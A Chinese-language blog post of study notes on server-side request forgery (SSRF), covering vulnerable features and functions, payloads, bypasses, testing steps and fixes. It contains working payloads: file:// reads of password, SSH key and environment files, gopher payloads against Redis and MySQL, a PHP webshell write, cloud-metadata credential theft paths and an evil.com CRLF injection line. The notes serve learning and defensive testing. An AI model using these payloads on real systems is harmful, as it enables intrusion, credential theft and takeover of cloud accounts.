TypechoJoeTheme

Eternal的博客

SSRF 漏洞完整笔记

eternal博 主大白
2026-05-29
/
0 评论
/
50 阅读
/
2188 个字
/
百度已收录
05/29
本文最后更新于 2026年05月29日,已超过 18天没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

SSRF 漏洞完整笔记

Server-Side Request Forgery(服务端请求伪造)
让目标服务器替攻击者发送请求,访问外网无法直接访问的内网资源

一、基本概念

1.1 什么是 SSRF

攻击者 → 目标服务器(公网可达)→ 内网服务(公网不可达)

外网能访问:百度、任何公开网站,任何人都能直接访问
外网不能访问:内网服务、127.0.0.1 管理接口、内网数据库、监控系统、跳板机、路由器后台、同网段其他机器

SSRF 的核心:服务器本身在内网里,它可以访问内网资源。
攻击者利用服务器作为代理,让它替自己发请求。

1.2 形成原因

服务端提供了从其他服务器获取数据的功能,且:
1. 没有对用户输入的 URL 做过滤
2. 没有对响应结果做检验,直接输出

常见功能:
- 从指定 URL 获取网页内容
- 加载/下载指定地址的图片
- 百度识图、在线翻译、网页截图
- URL 预览、链接解析
- 文件导入(从 URL 导入)
- Webhook 回调

1.3 NAT(网络地址转换)

通过将一个外部 IP 地址和端口映射到更大的内部 IP 地址集来转换 IP 地址。
这就是为什么内网 IP(192.168.x.x、10.x.x.x)外面访问不到,
但服务器自己可以访问。

二、漏洞挖掘——哪些功能点可能存在 SSRF

2.1 功能层面

1. 分享功能:通过 URL 地址分享网页内容
2. 转码服务:通过 URL 把网页转为适合手机浏览的样式
3. 在线翻译:通过 URL 翻译对应文本
4. 图片/文章收藏:收藏 URL 对应的内容
5. 图片加载/下载:输入 URL 加载图片
6. 网页预览/截图:输入 URL 生成预览或截图
7. 文件导入:从 URL 导入文件(Excel、CSV、XML)
8. Webhook 回调:配置回调 URL
9. 第三方登录回调:OAuth redirect_uri
10. 支付回调:支付结果通知 URL
11. 健康检查:检查 URL 是否存活
12. DNS 查询/Ping 功能
13. 链接有效性验证
14. PDF 生成(HTML to PDF)

2.2 关键判断

所有目标服务器会从自身发起请求的功能点,
且我们可以控制请求的地址参数,都可能造成 SSRF。

三、PHP 中产生 SSRF 的函数

3.1 三个核心函数

// 1. file_get_contents() —— 读取文件/URL 内容
file_get_contents("http://127.0.0.1:6379/");

// 2. fsockopen() —— 建立 TCP 连接,传输原始数据
$fp = fsockopen("127.0.0.1", 6379, $errno, $errstr, 30);

// 3. curl_exec() —— 执行 cURL 请求
curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1:6379/");
curl_exec($ch);

3.2 其他 PHP 函数

- fopen() / fread() / fgets()
- get_headers()
- readfile()
- highlight_file() / show_source()
- parse_url()(本身不发请求,但常配合使用)

四、伪协议利用

4.1 file:// —— 读取本地文件

file:///etc/passwd                    → Linux 密码文件
file:///etc/hosts                     → 主机 hosts 文件
file:///C:/Windows/win.ini            → Windows 配置文件
file:///proc/self/environ             → 环境变量(可能含密码)
file:///proc/self/cmdline             → 启动命令
file:///root/.bash_history            → 命令历史
file:///root/.ssh/id_rsa              → SSH 私钥
file:///var/log/nginx/access.log      → Nginx 日志
file:///var/www/html/                 → Web 目录
file:///etc/nginx/nginx.conf          → Nginx 配置

判断是否有 SSRF:传 file:///etc/passwd,看是否有回显

4.2 dict:// —— 探测端口和服务

dict://127.0.0.1:6379/info            → Redis 信息
dict://127.0.0.1:3306/                → MySQL 版本
dict://127.0.0.1:8080/                → Web 服务

用途:
1. 探测内网存活主机
2. 探测主机开放端口
3. 获取服务版本信息
4. 逐个 IP + 常用端口 fuzz

缺点:ftp 时间长,dict 更快

4.3 http:// —— 访问内网 Web 服务

http://127.0.0.1/                     → 本机 Web 服务
http://127.0.0.1:8080/                → 管理后台
http://192.168.1.1/                   → 路由器后台
http://10.0.0.x/                      → 内网其他服务

用途:通过目录扫描获取网站子页面

4.4 sftp:// —— SSH 文件传输

sftp://evil.com:1337/
运行在安全连接上,类似 SSH

4.5 gopher:// —— 万能协议(最重要!)

Gopher 是 HTTP 的前身,作用相似。
可以构造任意 TCP 数据包,攻击内网任何服务。

关键特性:
- 发送的第一个字符会被吃掉,所以需要在前面加一个无用字符(如 _)
- %0d%0a 代表换行(\r\n)
- 需要对内容进行 URL 编码

格式:gopher://主机IP:端口/_构造的数据包

构造 GET 请求

保留两个头部:
1. 路径:GET /name.php?name=xxx HTTP/1.1
2. 目标 IP:Host: xxx.xxx.xxx.x

格式:
gopher://主机IP:80/_GET%20/path%3fparam=value%20HTTP/1.1%0d%0AHost%20主机IP%0d%0A%0d%0A

编码说明:
- %20 = 空格
- %3f = 问号 ?
- %0d%0a = \r\n 换行
- 结尾 %0d%0a%0d%0a = 消息结束

构造 POST 请求

保留头部:
1. POST /path HTTP/1.1
2. Host: xxx.xxx.xxx.x
3. Content-Type: application/x-www-form-urlencoded
4. Content-Length: (计算 body 长度)

格式:
gopher://主机IP:80/_POST%20/path%20HTTP/1.1%0d%0AHost%20主机IP%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%20长度%0d%0A%0d%0Abody内容%0d%0A

注意:内容需要 URL 编码(通常需要编码两次)

五、利用 SSRF 攻击内网服务

5.1 攻击无密码 MySQL

前提:MySQL 无密码或已知密码,且允许本地连接

方法:
1. 抓取本地 MySQL 通讯内容(Wireshark/tcpdump)
2. 提取查询数据包的十六进制
3. 放入 gopher:// 提交

工具:gopherus(一键生成 payload)
python2 gopherus.py --exploit mysql

未授权文件写入:
SHOW VARIABLES LIKE '%secure%';     → 查看 secure_file_priv
若未设置或指向 Web 目录,则可以写文件:
SELECT "<?php eval($_POST[1]);?>" INTO OUTFILE "/var/www/html/1.php"

5.2 攻击无密码 Redis

利用 gopherus 一键生成:
python2 gopherus.py --exploit redis

手动构造 Redis 命令:
1. CONFIG SET dir /var/www/html/      → 设置 Web 路径
2. CONFIG SET dbfilename shell.php    → 设置文件名
3. SET payload "<?php phpinfo();?>"   → 写入内容
4. SAVE                               → 保存文件

也可以:
- 写 SSH 公钥到 /root/.ssh/authorized_keys
- 写 Crontab 定时任务反弹 Shell
- 写 WebShell 到 Web 目录

5.3 攻击内网 Web 服务

通过 SSRF 扫描内网 Web 管理后台:
http://192.168.1.x:8080/admin/
http://10.0.0.x:8080/

利用内网 Web 应用的已知漏洞
内网横向移动

5.4 攻击其他内网服务

MongoDB:      27017 端口,未授权访问
Elasticsearch: 9200 端口,未授权访问
Memcached:    11211 端口,数据泄露
CouchDB:      5984 端口,未授权访问
Docker API:   2375 端口,容器逃逸
Kubernetes:   8080/6443 端口,集群控制
Consul:       8500 端口,服务发现泄露
Nacos:        8848 端口,配置中心泄露
Zookeeper:    2181 端口,未授权访问

5.5 攻击云环境元数据(实战最高价值!)

云服务器有元数据接口,只有本机可以访问:

通用地址:
http://169.254.169.254/latest/meta-data/

阿里云专用:
http://100.100.100.200/latest/meta-data/

可获取的信息:
├── /latest/meta-data/              → 所有元数据
├── /latest/meta-data/instance-id   → 实例 ID
├── /latest/meta-data/hostname      → 主机名
├── /latest/meta-data/local-ipv4    → 内网 IP
├── /latest/meta-data/public-ipv4   → 公网 IP
├── /latest/meta-data/security-groups → 安全组
├── /latest/meta-data/ram/          → RAM 角色(临时密钥!)
│   └── /latest/meta-data/ram/security-credentials/<role>
│       → 返回 AccessKeyId、SecretAccessKey、SecurityToken
└── /latest/user-data/              → 启动脚本(可能含密码)

拿到 RAM 临时密钥 = 拿到整个云账号权限:
- 读 S3/OSS 存储桶 → 数据泄露
- 控制 ECS 实例 → 内网漫游
- 操作 RDS 数据库 → 脱库
- 严重/高危漏洞

5.6 内网端口扫描

通过 SSRF 探测内网:
1. 通过响应时间判断端口开闭(开的端口响应快,关的超时)
2. 通过错误信息判断服务类型
3. 绘制内网拓扑图

方法:
- dict://192.168.1.1:80/
- dict://192.168.1.1:8080/
- dict://192.168.1.1:3306/
- dict://192.168.1.1:6379/
- 逐个 IP + 常用端口 fuzz

六、SSRF 绕过方式

6.1 @ 截断(HTTP 基本身份认证)

限制为 http://www.xxx.com 域名时:
http://www.aaa.com@www.bbb.com@www.ccc.com

PHP parse_url 识别 www.ccc.com
libcurl 识别 www.bbb.com
处理差异导致绕过

实际利用:
http://ctf@127.0.0.1     → ctf 伪装用户名,127.0.0.1 是真正目标

6.2 短网址

百度短地址:https://dwz.cn/
其他短址服务:bit.ly、tinyurl.com

把 http://127.0.0.1 生成短地址,绕过域名检测

6.3 本地回环地址绕过

进制转换:
127.0.0.1
├── 八进制:0177.0.0.1
├── 十六进制:0x7f.0.0.1(0x7F000001)
├── 十进制:2130706433
└── 二进制:0b01111111000000000000000000000001

句号替换:
127。0。0。1 → 127.0.0.1

IP 省略写法:
127.1 → 127.0.0.1
127.0.1 → 127.0.0.1
(取决于环境)

解析到本地的域名:
sudo.cc → 127.0.0.1
localtest.me → 127.0.0.1

6.4 利用特殊域名(DNS 解析)

127.0.0.1.xip.io → 解析为 127.0.0.1(xip.io 已失效,找替代)
169.254.169.254.nip.io → 解析为 169.254.169.254

6.5 利用 IPv6

http://[::1]/                 → 127.0.0.1 的 IPv6
http://[0:0:0:0:0:0:0:1]/    → 同上
http://[::ffff:127.0.0.1]/   → IPv4 映射的 IPv6

6.6 利用 [::] 绕过 localhost

http://[::169.254.169.254]/   → 绕过对 169.254.169.254 的检测

6.7 CRLF 编码注入

%0d → \r 回车
%0a → \n 换行

注入 HTTP 头部:
http://example.com/?url=http://evil.com%0d%0aHost:fuzz.com%0d%0a

可用于 HTTP 请求走私

6.8 封闭字母数字(Enclosed Alphanumerics)

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ → example.com
http://①⑥⑨。②⑤④。⑯⑨。②⑤④ → 169.254.169.254

字符表:
①②③④⑤⑥⑦⑧⑨⑩ ⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳
⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽ ⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇
⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑ ⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛
ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏ
ⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ
⓪

6.9 重定向绕过 IP 限制

针对 gethostbyname() + filter_var() 验证公网 IP 的情况:

在自己服务器写重定向文件 1.php:
<?php header("Location:http://127.0.0.1/flag.php"); ?>

传入:http://你的IP/1.php
服务器验证时解析到你的公网 IP(通过)
实际请求时重定向到 127.0.0.1(访问内网)

变体:
- 短链接跳转
- 301/302 重定向
- JavaScript 跳转
- Meta refresh 跳转
- DNS CNAME 记录

6.10 DNS Rebinding(DNS 重绑定)

第一次解析:evil.com → 1.2.3.4(公网 IP,通过验证)
第二次解析:evil.com → 127.0.0.1(内网 IP,实际访问)

需要控制 DNS 服务器,利用时间差
验证和请求之间有时间间隔,DNS 可以在这个间隙改变

七、非 PHP 语言的 SSRF

7.1 Java

// 核心类
HttpURLConnection
URL.openConnection()
HttpClient
OkHttp
Apache HttpClient
RestTemplate
URLConnection

// 特殊协议支持
jar://        → Java 归档
netdoc://     → 类似 file://

7.2 Python

# 核心函数
urllib.request.urlopen()
requests.get()
urllib3
aiohttp
httpx

7.3 Node.js

// 核心模块/库
http.request()
https.request()
axios
fetch()
request()
got()
needle

7.4 Go

http.Get()
http.NewRequest()
http.Client.Do()

7.5 .NET / C

// 核心类
WebRequest.Create()
HttpClient
WebClient
HttpWebRequest
HttpWebResponse

// ASP.NET 特有
Server.Execute()
Response.Redirect()
WebClient.DownloadString()

7.6 Ruby

Net::HTTP.get()
open()
URI.open()
RestClient.get()

八、SSRF 的危害等级

低危:
├── 可以探测内网存活主机和端口(无回显)
└── 仅能访问内网,无法获取数据

中危:
├── 可以读取本地文件(file:///etc/passwd)
├── 可以内网端口扫描(有回显)
└── 可以访问内网 Web 服务

高危:
├── 可以攻击内网服务(Redis/MySQL 写 Shell)
├── 可以读取云元数据(获取临时密钥)
├── 可以获取内网敏感信息
└── 可以内网横向移动

严重:
├── 拿到云账号控制权
├── 获取数据库全部数据
├── 获取服务器 Shell
└── 控制整个内网

九、实战测试流程

9.1 信息收集

1. 确认目标技术栈(PHP/Java/Python/Node.js/.NET)
2. 确认是否有 URL 输入功能
3. 确认是否有文件导入功能
4. 确认是否有 Webhook/回调功能
5. 确认是否在云环境(阿里云/AWS/腾讯云)

9.2 判断是否存在 SSRF

1. 传入 http://127.0.0.1 → 看响应
2. 传入 file:///etc/passwd → 看是否返回文件内容
3. 传入 dict://127.0.0.1:80/ → 看是否探测到端口
4. 传入自己的 VPS 地址 → 看是否有请求过来(nc -lvp 8888)
5. 通过响应时间判断(访问存在的端口快,不存在的超时)

9.3 漏洞利用

1. 读取本地文件 → file://
2. 探测内网 → dict:// + http://
3. 攻击内网服务 → gopher://
4. 读取云元数据 → http://169.254.169.254/
5. 内网横向移动 → 通过 SSRF 跳板

9.4 报告编写

1. 漏洞 URL 和参数
2. 复现步骤(每一步都截图)
3. payload 构造过程
4. 危害说明(能拿到什么?影响多大?)
5. 修复建议

十、修复建议

1. 限制协议:只允许 http/https,禁止 file/gopher/dict/sftp
2. 限制 IP:禁止访问内网 IP(127.0.0.1、10.x、172.16-31.x、192.168.x)
3. 限制端口:只允许 80/443
4. 域名白名单:只允许访问特定域名
5. DNS 重绑定防护:验证 IP 后锁定,不再二次解析
6. 响应处理:不直接返回服务器响应内容
7. 超时设置:设置合理的请求超时时间
8. 错误处理:不暴露详细的错误信息

十一、工具推荐

Gopherus:生成 gopher:// payload(打 Redis/MySQL/FastCGI 等)
SSRFmap:自动化 SSRF 利用工具
SSRFire:SSRF 自动化测试
Goby:内网扫描 + 漏洞利用
Nuclei:模板化漏洞扫描
Burp Suite:手动测试核心工具
curl:命令行发请求测试

朗读
赞(0)
版权属于:

Eternal的博客

本文链接:

https://eternal3.top/archives/85/(转载时请注明本文出处及文章链接)

评论 (0)

互动读者

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月

最新回复

  1. Typecho打酱油
    2026-04-28
登录
X
用户名
密码